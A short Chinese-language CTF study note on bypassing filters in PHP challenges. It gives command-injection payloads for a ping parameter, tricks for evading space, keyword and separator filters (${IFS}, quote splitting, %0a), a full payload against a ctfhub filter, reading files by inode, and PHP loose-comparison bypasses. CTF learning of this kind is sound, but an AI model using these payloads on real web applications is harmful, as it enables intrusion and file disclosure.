php审计从题目中的过滤学习绕过
基本介绍:
在进行ping命令执行时,能够通过截断来执行新的命令
根据此原理来进行注入
例:ip=127.0.0.1;ls
空格过滤:
考虑在进行命令注入时,过滤了空格,可以采用${IFS}、$IFS、$ifs$9的局部变量
来表示分隔符,但考虑$IFS直接接字母时可能会被解析成其他变量,所以采用${IFS}固定变量,或$IFS$9采用$9这个空字符来与后面字母分隔开来固定变量
只过滤cat、flag等关键字
如未过滤 " ' \等连接转义符
可以使用""连接符,\ 转义符来间隔字符串从此绕过过滤
过滤 ; | &等连接符
Linux下 ; 可以用%0a替代
例:ctfhub-rce-综合练习过滤了如下字符
preg_match_all("/(\||&|;| |\/|cat|flag|ctfhub)/"
所以最后的payload为
1%0acd$IFS$1f""lag_is_here%0aca""t$IFS$1f""lag_7548135816224.php
过滤more/tail/less/cat等大部分查看符
使用strings
$a == md5($a)绕过
原理是寻找一个0e开头的字符串其md5值也是0e
如0e215962017
使用 inode 节点查看文件
ls -i可以查看文件的inode号
1321734 1.html
然后可以使用命令find -inum 1321734 | xargs cat来查看文件了
xargs将前面的输出作为管道后面的输入
数组强比较绕过
php5.5版本的数组key一处bug
[0 => 0] === [0x100000000 => 0]为true